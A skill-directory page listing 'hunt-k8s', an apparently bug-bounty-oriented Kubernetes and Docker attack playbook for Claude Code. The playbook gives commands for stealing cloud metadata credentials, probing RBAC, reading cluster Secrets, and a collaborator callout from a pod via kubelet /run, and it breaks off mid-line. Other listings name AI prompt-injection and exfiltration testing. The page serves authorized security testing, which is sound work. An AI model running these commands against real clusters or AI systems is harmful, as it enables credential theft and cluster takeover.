Skip to main content
ClaudeWave
ES, Spanish
Skill5.2k estrellas del repoactualizado 6d ago

hunt-k8s

hunt-k8s is a Kubernetes and Docker security assessment tool that identifies misconfigurations and vulnerabilities in containerized infrastructure. It detects anonymous API access, kubelet RCE via `/run` and `/exec` endpoints, unauthenticated etcd exposure, RBAC bypasses, service account token abuse, docker.sock escape paths, container breakouts like CVE-2024-21626, and API-server-mediated privilege escalation. Use it when the target runs Kubernetes clusters, exposes control-plane ports (6443, 10250, 2379), or cloud metadata indicates active service accounts.

Instalar en Claude Code
Copiar
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-k8s && cp -r /tmp/hunt-k8s/skills/hunt-k8s ~/.claude/skills/hunt-k8s
Después abre una sesión nueva de Claude Code; el skill carga automáticamente.

SKILL.md

# HUNT-K8S — Kubernetes & Docker Security

## Crown Jewel Targets

K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet `/run` shell pivots one finding to total compromise.

**Highest-value findings:**
- **K8s API anonymous cluster-admin** — `system:anonymous`/`system:unauthenticated` bound to a powerful role (classic misconfig: `system:anonymous` in a `ClusterRoleBinding` to `cluster-admin`) → full `kubectl`. Mere anonymous `200` is NOT this (see false-positive section).
- **Kubelet `10250` exec/run** — `/run` returns command output directly; `/exec` is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.
- **API-server-mediated kubelet RCE** — `/api/v1/nodes/<node>/proxy/run/...` reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grants `nodes/proxy`, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.
- **etcd `2379` unauth** — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless `EncryptionConfiguration` is set) → full credential dump.
- **docker.sock exposure** — SSRF/LFI/RCE reaching `/var/run/docker.sock` → create `--privileged` container, bind-mount host `/` → host root.
- **Container escape via runc** — Leaky Vessels (CVE-2024-21626): `WORKDIR`/`process.cwd` pointing at a leaked `/proc/self/fd/<n>` host FD → break out of an attacker-controlled image/exec to host root.
- **SA token abuse** — auto-mounted token at `/var/run/secrets/kubernetes.io/serviceaccount/token`; check its real grants with SelfSubjectRulesReview before claiming impact.
- **K8s Dashboard skip-login / token-less API** — full cluster management UI reachable unauthenticated.

---

## OOB / Confirmation Gate (Read First)

K8s findings are RCE/credential-disclosure class. House rule: **prove state change or data read, never infer from a status code.**

- A `200` on `/api/v1/namespaces` does **not** mean cluster-admin. The API server returns `200` with an RBAC-filtered (often empty `items: []`) list to *any* principal that can reach `list namespaces` — anonymous read on a few resources is common and low-impact. Confirm real privilege with **SelfSubjectRulesReview / SelfSubjectAccessReview**, then by actually reading a Secret value.
- **10255 (read-only) vs 10250 (exec)** are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has `/pods`, `/stats`, `/metrics`, NO exec/run. 10250 (HTTPS) is where `/run` and `/exec` live. Do not report "kubelet RCE" off a 10255 hit.
- **Blind/outbound vectors need OOB.** If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g. `curl http://<token>.<collab>` from inside the pod via `/run`). A delayed response or an echoed URL is NOT proof.
- **Impact proof = the artifact.** For exec: the literal `id`/`hostname` output. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (`/etc/hostname` of the node, distinct from the container's).
- Use a **dedicated test namespace / test pod** when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only `id` in a pod you spun up if policy allows, or limit to a single non-destructive `id` and stop.

---

## Phase 1 — Fingerprint & Port Discovery

```bash
# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open

# API server fingerprint — the /version endpoint is anonymous on most clusters
curl -sk "https://$TARGET:6443/version"        # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl -sk "https://$TARGET:6443/api"             # APIVersions list, even pre-auth
curl -sk "https://$TARGET:6443/healthz"

# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"      # Azure AKS
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE
```
Note the `gitVersion` — it gates every CVE below.

---

## Phase 2 — Kubernetes API Anonymous / Low-Priv Access

```bash
SRV="https://$TARGET:6443"

# 1. What am I? (anonymous → "system:anonymous")
curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'

# 2. What can I actually DO? (the only honest privilege check)
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'

# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
  curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
   -H 'Content-Type: application/json' \
   -d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
   | grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done

# 4. Only if access review says allowed — read a real Secret to prove impact
curl -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>
apk-redteam-pipelineSkill

End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.

autopilotSlash Command

Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]

bb-local-toolkitSkill

Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告

bb-methodologySkill

Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.

bug-bountySkill

Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告

bugcrowd-reportingSkill

Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.

chainSlash Command

Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain

cloud-iam-deepSkill

Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.